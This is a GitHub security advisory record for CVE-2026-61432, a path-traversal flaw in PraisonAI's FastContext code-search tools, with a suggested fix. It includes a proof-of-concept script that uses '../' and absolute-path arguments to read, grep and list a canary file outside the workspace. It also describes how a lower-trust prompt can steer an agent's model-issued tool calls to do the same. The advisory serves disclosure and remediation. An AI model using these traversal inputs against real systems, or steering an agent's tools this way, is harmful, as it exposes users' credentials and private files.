CVE-2026-61432: PraisonAI FastContext Path Resolution Permits Absolute Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4xxv-6wmf-xf45",
  "modified" : "2026-10-08T16:48:52Z",
  "published" : "2026-10-08T16:48:52Z",
  "aliases" : [ "CVE-2026-61432" ],
  "summary" : "PraisonAI: FastContext path resolution permits absolute and traversal reads outside the workspace",
  "details" : "# FastContext path resolution permits absolute and traversal reads outside the workspace\n\n## Summary\n\nPraisonAI's `praisonaiagents.context.fast` FastContext feature treats `workspace_path` as the root directory for code search, but its model-facing search tools and high-level `read_context()` helper accept absolute paths and `..` traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the caller or injected into the model's tool-result context.\n\n## Technical Details\n\n`FastContextAgent` documents `workspace_path` as the \"Root directory for searches\" and stores it as an absolute path:\n\n```python\nclass FastContextAgent:\n    \"\"\"Specialized agent for fast parallel code search.\n\n    Attributes:\n        workspace_path: Root directory for searches\n    \"\"\"\n\n    def __init__(self, workspace_path: str, ...):\n        self.workspace_path = os.path.abspath(workspace_path)\n```\n\nThe same class exposes `grep_search`, `glob_search`, `read_file`, and `list_directory` as model function-call tools via `get_tools()`. Those tools are intended to retrieve code context from the configured workspace.\n\nThe problem is in `FastContextAgent.execute_tool()`. It prepends `workspace_path` only when the caller supplies a relative path, but it does not reject absolute paths and does not canonicalize the joined relative path before enforcing containment:\n\n```python\nif tool_name in (\"grep_search\", \"glob_search\"):\n    if \"search_path\" not in kwargs or kwargs[\"search_path\"] == \".\":\n        kwargs[\"search_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"search_path\"]):\n        kwargs[\"search_path\"] = os.path.join(self.workspace_path, kwargs[\"search_path\"])\nelif tool_name == \"list_directory\":\n    if \"dir_path\" not in kwargs or kwargs[\"dir_path\"] == \".\":\n        kwargs[\"dir_path\"] = self.workspace_path\n    elif not os.path.isabs(kwargs[\"dir_path\"]):\n        kwargs[\"dir_path\"] = os.path.join(self.workspace_path, kwargs[\"dir_path\"])\nelif tool_name == \"read_file\":\n    if \"filepath\" in kwargs and not os.path.isabs(kwargs[\"filepath\"]):\n        kwargs[\"filepath\"] = os.path.join(self.workspace_path, kwargs[\"filepath\"])\n```\n\nAs a result, an absolute path passes through unchanged, and a relative traversal such as `../outside-secret.txt` is transformed into `<workspace>/../outside-secret.txt`. The downstream search tools then call `os.path.abspath()` and operate on the resolved outside path.\n\nThe downstream tools do not enforce a FastContext workspace boundary:\n\n```python\ndef grep_search(search_path: str, pattern: str, ...):\n    search_path = os.path.abspath(search_path)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef read_file(filepath: str, ...):\n    filepath = os.path.abspath(filepath)\n    ...\n    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:\n        lines = f.readlines()\n```\n\n```python\ndef list_directory(dir_path: str, ...):\n    dir_path = os.path.abspath(dir_path)\n    ...\n    for entry in os.scandir(path):\n        ...\n```\n\nThe model-backed `FastContextAgent.search()` path is also affected. It sends the FastContext tools to the model, parses model-supplied tool-call JSON, and adds those arguments to a `ToolCallBatch`:\n\n```python\nresponse = model_client.chat.completions.create(\n    model=self.model,\n    messages=messages,\n    tools=[{\"type\": \"function\", \"function\": t} for t in self.get_tools()],\n    tool_choice=\"auto\"\n)\n...\nargs = json.loads(tool_call.function.arguments)\nbatch.add(tool_call.function.name, **args)\n...\ntool_results = self.coordinator.execute_turn_sync(batch)\n```\n\nThat path bypasses `execute_tool()`'s incomplete workspace-prefixing entirely and sends model-generated paths directly to the raw filesystem search functions through `ParallelSearchCoordinator`.\n\nThe public high-level API has the same containment gap. `FastContext.read_context()` documents `filepath` as \"relative to workspace\", joins relative paths with `workspace_path`, and then calls `read_file()` without a resolved-path containment check:\n\n```python\ndef read_context(self, filepath: str, ...):\n    full_path = filepath\n    if not os.path.isabs(filepath):\n        full_path = os.path.join(self.workspace_path, filepath)\n\n    result = read_file(full_path, ...)\n```\n\nThis behavior is not required for intended FastContext code search. A normal search through `search_simple()` searches only `self.workspace_path`; the PoV below uses that as the negative control. The vulnerability is that caller/model-controlled path parameters can escape that intended root.\n\n## PoV\n\nThe following local PoV creates a workspace with one harmless file and an adjacent outside file containing a canary. It then proves that ordinary workspace search does not find the canary, while FastContext path arguments can read, grep, glob, list, and return that outside canary through workspace-scoped APIs. The source-to-sink details above show the same missing containment also affects the model-backed `FastContextAgent.search()` path because it dispatches model-generated path arguments to the same raw search functions.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\nwith TemporaryDirectory() as tmp:\n    root = Path(tmp) / \"workspace\"\n    root.mkdir()\n    (root / \"inside.txt\").write_text(\"INSIDE_ONLY=workspace\\n\")\n    outside = Path(tmp) / \"outside-secret.txt\"\n    outside.write_text(CANARY + \"\\n\")\n\n    agent = FastContextAgent(str(root))\n\n    assert len(agent.search_simple(CANARY).files) == 0\n    assert \"INSIDE_ONLY=workspace\" in agent.execute_tool(\"read_file\", filepath=\"inside.txt\")[\"content\"]\n\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")[\"content\"]\n    assert CANARY in agent.execute_tool(\"read_file\", filepath=str(outside))[\"content\"]\n    assert any(CANARY in match[\"content\"] for match in agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY))\n    assert any(match[\"path\"] == \"outside-secret.txt\" for match in agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\"))\n    assert any(entry[\"name\"] == \"outside-secret.txt\" for entry in agent.execute_tool(\"list_directory\", dir_path=\"..\")[\"entries\"])\n\n    fc = FastContext(workspace_path=str(root), cache_enabled=False)\n    assert CANARY in fc.read_context(\"../outside-secret.txt\")\n```\n\n## PoC\n\nSave the self-contained script from the Appendix below as `fastcontext_workspace_pov.py`, then run it against a local checkout:\n\n```bash\nexport PRAISONAI=/path/to/PraisonAI\nPYTHONPATH=\"$PRAISONAI/src/praisonai-agents\" python fastcontext_workspace_pov.py\n```\n\nExpected vulnerable output:\n\n```json\n{\n  \"results\": {\n    \"absolute_read_discloses_canary\": true,\n    \"glob_parent_reveals_outside_file\": true,\n    \"grep_parent_discloses_canary\": true,\n    \"high_level_read_context_discloses_canary\": true,\n    \"inside_read_still_works\": true,\n    \"list_parent_reveals_outside_file\": true,\n    \"relative_traversal_read_discloses_canary\": true,\n    \"simple_search_does_not_find_outside_canary\": true\n  },\n  \"vulnerable\": true\n}\n```\n\nThe version sweep sampled the FastContext introduction boundary and current releases:\n\n```text\nPraisonAI FastContext workspace-boundary version sweep\ncurrent_main: 1620b49f36945d8cc8ee5635b906c960df5097a0\nlatest_tag_context: v4.6.63-2-g1620b49f\n\nv2.3.9 praisonaiagents=0.0.188 missing fast_context_agent.py\nv2.3.10 praisonaiagents=0.0.189 missing fast_context_agent.py\n{\"ref\": \"v2.3.11\", \"praisonaiagents_version\": \"0.0.190\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v3.8.1\", \"praisonaiagents_version\": \"0.11.7\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.5.149\", \"praisonaiagents_version\": \"1.6.8\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.58\", \"praisonaiagents_version\": \"1.6.58\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.62\", \"praisonaiagents_version\": \"1.6.62\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"v4.6.63\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n{\"ref\": \"HEAD\", \"praisonaiagents_version\": \"1.6.63\", \"status\": \"vulnerable\", \"relative_traversal_read\": true, \"absolute_read\": true, \"grep_parent_read\": true, \"fast_context_read_context_traversal\": true}\n```\n\nNo external service, live target, or real credential is needed for reproduction.\n\n## Impact\n\nIf an application exposes FastContext to lower-trust prompts or users, the attacker can cause the PraisonAI process to read files outside the intended workspace and return the contents through tool results or high-level FastContext APIs. Practical impacts include disclosure of source files, logs, prompt transcripts, API keys, local configuration, cloud credentials, and other process-readable text files. `grep_search` can search outside directories for secrets, `glob_search` and `list_directory` can enumerate outside file names and metadata, and `read_file`/`read_context` can return file contents.\n\nThe demonstrated impact is confidentiality. This report does not claim arbitrary write, code execution, or availability impact.\n\nSuggested severity: High for network/API-backed agent deployments where lower-trust prompt content can influence a tool-using FastContext search; Medium if maintainers score only direct local API misuse. A conservative agent-deployment CVSS 3.1 vector is:\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N\n```\n\nRelevant CWEs:\n\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\n- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor\n\n## Suggested Fix\n\nMake FastContext path resolution fail closed around a single workspace-containment helper:\n\n1. Resolve the configured workspace once.\n2. For every FastContext path argument, reject absolute paths outside the workspace, join relative paths to the workspace, resolve the candidate, and require `candidate.relative_to(workspace)` to succeed.\n3. Apply this helper in `FastContextAgent.execute_tool()` for `grep_search`, `glob_search`, `read_file`, and `list_directory`.\n4. Apply the same helper before adding model-generated tool calls to `ToolCallBatch` in `FastContextAgent.search()`. Do not call the raw `search_tools` functions with model-supplied paths.\n5. Apply the same helper in `FastContext.read_context()`.\n6. Consider making `search_tools.execute_tool()` accept an optional `workspace_path` and enforce containment when used as a workspace-scoped tool dispatcher.\n7. Add regression tests for absolute outside paths and `..` traversal in all four FastContext tools, high-level `read_context()`, and the model tool-call execution path.\n\nMinimal containment shape:\n\n```python\ndef _resolve_workspace_path(workspace: str, user_path: str) -> str:\n    root = Path(workspace).resolve()\n    candidate = Path(user_path)\n    if not candidate.is_absolute():\n        candidate = root / candidate\n    resolved = candidate.resolve()\n    try:\n        resolved.relative_to(root)\n    except ValueError as exc:\n        raise PermissionError(f\"FastContext path is outside workspace: {user_path}\") from exc\n    return str(resolved)\n```\n\n## Affected Package/Versions\n\n- Package: `praisonaiagents`\n- Component: `praisonaiagents.context.fast`\n- Current main tested: `1620b49f36945d8cc8ee5635b906c960df5097a0`\n- Current package version in the tested source tree: `1.6.63`\n- Sampled introduction boundary: absent in repo tags where `praisonaiagents` is `0.0.188` and `0.0.189`; present and vulnerable starting with sampled `0.0.190`\n- Latest tested release tag: `v4.6.63`, `praisonaiagents` version `1.6.63`\n\nSuggested affected range, based on the sampled source sweep:\n\n```text\npraisonaiagents >= 0.0.190, <= 1.6.63\n```\n\nThe exact first released package version should be confirmed by maintainers from the `praisonaiagents.context.fast` release history, but the repository sweep shows the vulnerable FastContext files first present at the sampled `praisonaiagents 0.0.190` point and still vulnerable on current main.\n\n## Advisory History\n\nNo checked public advisory or local prior report matched the FastContext code-search workspace-boundary bypass in `praisonaiagents.context.fast`.\n\nClosest public comparators are related but distinct:\n\n- `GHSA-gcq3-mfvh-3x25`: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers `praisonai` Code `CODE_TOOLS` wrappers and unset workspace defaults for read/edit helpers. This report covers `praisonaiagents.context.fast.FastContextAgent` and `FastContext` with an explicitly configured `workspace_path`; the root cause is missing containment after path joining and raw model tool-call dispatch, not an unset global workspace.\n- `GHSA-j7qx-p75m-wp7g`: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw `artifact_path` values. This report covers FastContext code-search/read/list tools and the model-backed FastContext search loop.\n- `GHSA-22cj-m4wf-fv2c`: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where `run_id` and `agent_id` are path components. This report covers FastContext's workspace root and file/search path tool arguments.\n- `GHSA-grrg-5cg9-58pf` / `CVE-2026-40117`: `read_skill_file()` arbitrary file read due missing workspace boundary and approval gate. This report does not use skill tools.\n- `GHSA-7j2f-xc8p-fjmq` / `CVE-2026-40152`: legacy `FileTools.list_files()` glob traversal. This report affects FastContext and can disclose file content through `read_file`/`grep_search`, not only metadata through FileTools glob patterns.\n- `GHSA-693f-pf34-72c5`: FileTools path traversal. This report is in `praisonaiagents.context.fast`, not `praisonaiagents.tools.file_tools`.\n- `GHSA-9cr9-25q5-8prj` and `GHSA-9mqq-jqxf-grvw`: MCP file/path traversal surfaces. This report does not use MCP.\n\nPublic issue/PR search found no hits for `FastContext arbitrary file read`, `\"Fast Context\" workspace boundary`, or `fast_context_agent` in `MervinPraison/PraisonAI`.\n\n## References\n\n- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context\n- PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools\n- PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories\n- `GHSA-gcq3-mfvh-3x25`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25\n- `GHSA-j7qx-p75m-wp7g`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g\n- `GHSA-22cj-m4wf-fv2c`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c\n- `GHSA-grrg-5cg9-58pf`: https://github.com/advisories/GHSA-grrg-5cg9-58pf\n- `GHSA-7j2f-xc8p-fjmq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq\n- CWE-22: https://cwe.mitre.org/data/definitions/22.html\n- CWE-200: https://cwe.mitre.org/data/definitions/200.html\n\n## Appendix: Self-Contained FastContext Workspace PoC\n\n```python\n#!/usr/bin/env python3\nimport json\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\n\nfrom praisonaiagents.context.fast import FastContext\nfrom praisonaiagents.context.fast.fast_context_agent import FastContextAgent\n\n\nCANARY = \"FAST_CONTEXT_CANARY=outside-workspace\"\n\n\ndef main() -> None:\n    with TemporaryDirectory(prefix=\"fastcontext-workspace-pov-\") as tmp:\n        temp_root = Path(tmp)\n        workspace = temp_root / \"workspace\"\n        workspace.mkdir()\n        inside = workspace / \"inside.txt\"\n        outside = temp_root / \"outside-secret.txt\"\n\n        inside.write_text(\"INSIDE_ONLY=workspace\\n\", encoding=\"utf-8\")\n        outside.write_text(CANARY + \"\\n\", encoding=\"utf-8\")\n\n        agent = FastContextAgent(str(workspace), max_turns=2, max_parallel=4)\n        simple_result = agent.search_simple(CANARY)\n        inside_result = agent.execute_tool(\"read_file\", filepath=\"inside.txt\")\n        relative_read = agent.execute_tool(\"read_file\", filepath=\"../outside-secret.txt\")\n        absolute_read = agent.execute_tool(\"read_file\", filepath=str(outside))\n        grep_parent = agent.execute_tool(\"grep_search\", search_path=\"..\", pattern=CANARY, max_results=5)\n        glob_parent = agent.execute_tool(\"glob_search\", search_path=\"..\", pattern=\"*.txt\", max_results=5)\n        list_parent = agent.execute_tool(\"list_directory\", dir_path=\"..\", max_entries=10)\n\n        context = FastContext(workspace_path=str(workspace), cache_enabled=False)\n        context_read = context.read_context(\"../outside-secret.txt\")\n\n        results = {\n            \"simple_search_does_not_find_outside_canary\": len(simple_result.files) == 0,\n            \"inside_read_still_works\": \"INSIDE_ONLY=workspace\" in inside_result.get(\"content\", \"\"),\n            \"relative_traversal_read_discloses_canary\": CANARY in relative_read.get(\"content\", \"\"),\n            \"absolute_read_discloses_canary\": CANARY in absolute_read.get(\"content\", \"\"),\n            \"grep_parent_discloses_canary\": any(CANARY in match.get(\"content\", \"\") for match in grep_parent),\n            \"glob_parent_reveals_outside_file\": any(match.get(\"path\") == \"outside-secret.txt\" for match in glob_parent),\n            \"list_parent_reveals_outside_file\": any(entry.get(\"name\") == \"outside-secret.txt\" for entry in list_parent.get(\"entries\", [])),\n            \"high_level_read_context_discloses_canary\": CANARY in (context_read or \"\"),\n        }\n\n        print(json.dumps({\"vulnerable\": all(results.values()), \"results\": results}, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.78"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.6.77"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4xxv-6wmf-xf45"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/1620b49f36945d8cc8ee5635b906c960df5097a0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/praisonai-fastcontext-before-path-traversal"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-200", "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-08T16:48:52Z",
    "nvd_published_at" : null
  }
}